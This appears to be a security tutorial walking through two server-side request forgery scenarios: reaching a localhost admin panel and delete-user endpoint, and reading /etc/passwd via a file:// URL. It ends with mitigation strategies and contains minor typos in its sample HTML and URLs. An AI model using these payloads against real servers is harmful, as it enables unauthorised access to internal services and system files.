

Scenario 1: SSRF to Access Internal Services

A web application has a feature to fetch website metadata by accepting a URL as input. The server processes the URL without proper validation.

Step1: Identify the Vulnerability (using fetch_metadata)

1. The application has an endpoint <https://example.com>

GET/fetch_metadata?url=<https://example.com>

The server will fetch the URL i.e. display metadata of the fetched URL. (ex. title, description)

"Admin Panel" : "\admin" : "Add/Delete/Display Users"

2. The fetched metadata shows an admin panel Craft a Malicious Request

```
{ "title": "Example Domain", "description": "This domain is for use in illustrative examples in documents." }
```

GET/fetch_metadata?url=https://localhost:8080/admin

3. The server is vulnerable and fetches the internal source. Read the Malicious Request.

```
<html>
  <body>
    <h1>Admin Dashboard</h1>
    .
    .
    .
    .
    <a href="/admin/detele_users?username="" ">Delete</h1>
  </body>
</html>
```

4. Verify the exploit

- 1) GET /fetch_metadata?url=https://example.com
- 2) GET /fetch_metadata?url=https://localhost:8080/admin/delete_user/user_id=1
- 3) GET /fetch_metadata?url=https://localhost:8080/admin/

5. Conclusion

If the server-side logic is processing the /admin/delete_user endpoint it does not validate requests which directly access the localhost without authentication.

The attacker can use SSRF vulnerability by exploiting the localhost from the URL and accessing the admin methods.

Scenario 2: SSRF to Access Sensitive Files

An application fetches user-provided URLs to access /etc/passwd and processes the content.

Step1: Identify the Vulnerability

1. How will the attacker identify the vulnerability?

Ex: if the application has a feature to fetch url and return it to the user
GET /fetch?url=<user-input-url>

The server fetches the content of the provided path in the URL and returns it to the user.

No validation as a user can execute the server functionality fetch.

Step2: Test the Feature with Server URLs

2. Craft the URL so that it fetches content test.jpg from server

GET /fetch?url=<http://127.0.0.1>

GET /fetch?url=<http://127.0.0.1/test.jpg>

3. What knowledge is gained if the content is fetched

It confirms that the feature fetch is accessible and using //127.0.0.1 the server root contents are accessible

Step3: Attempt to Access Local Files

4. Craft the URL to test if server allows file access /etc/passwd

GET /fetch?url=file:///etc/passwd

Step4: Analyse the Response

5. The URL in Q4 provide the following content. What knowledge can be gained from it.

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

user:x:1000:1000:User:/home/user:/bin/bash

The file /etc/passwd displays the user accounts but not the passwords.

Still only knowing the user accounts the attackers can devise further attacks.

Step5: Conclusion of why the attack worked?

- 1) The server side does not validate or sanitize the user input.
- 2) The file:// protocol allows the attacker to access local files on the server.
- 3) If the server has read permissions, it will process and return the output.

SSRF Mitigation Strategies

1. **Input Validation:** Allow only trusted domains or URLs.
2. **Use Whitelisting:** Restrict URL requests to approved endpoints.
3. **Disable Unnecessary Network Access:** Block access to internal IP ranges (e.g., 127.0.0.1, 169.254.169.254).

4. **Metadata Service Protection:** Use IAM roles and instance metadata version 2 (IMDSv2) for AWS.
5. **Timeouts and Rate Limiting:** Limit request durations and frequency to prevent abuse.
6. **Proxy Requests:** Route all external requests through a proxy to control and sanitize them.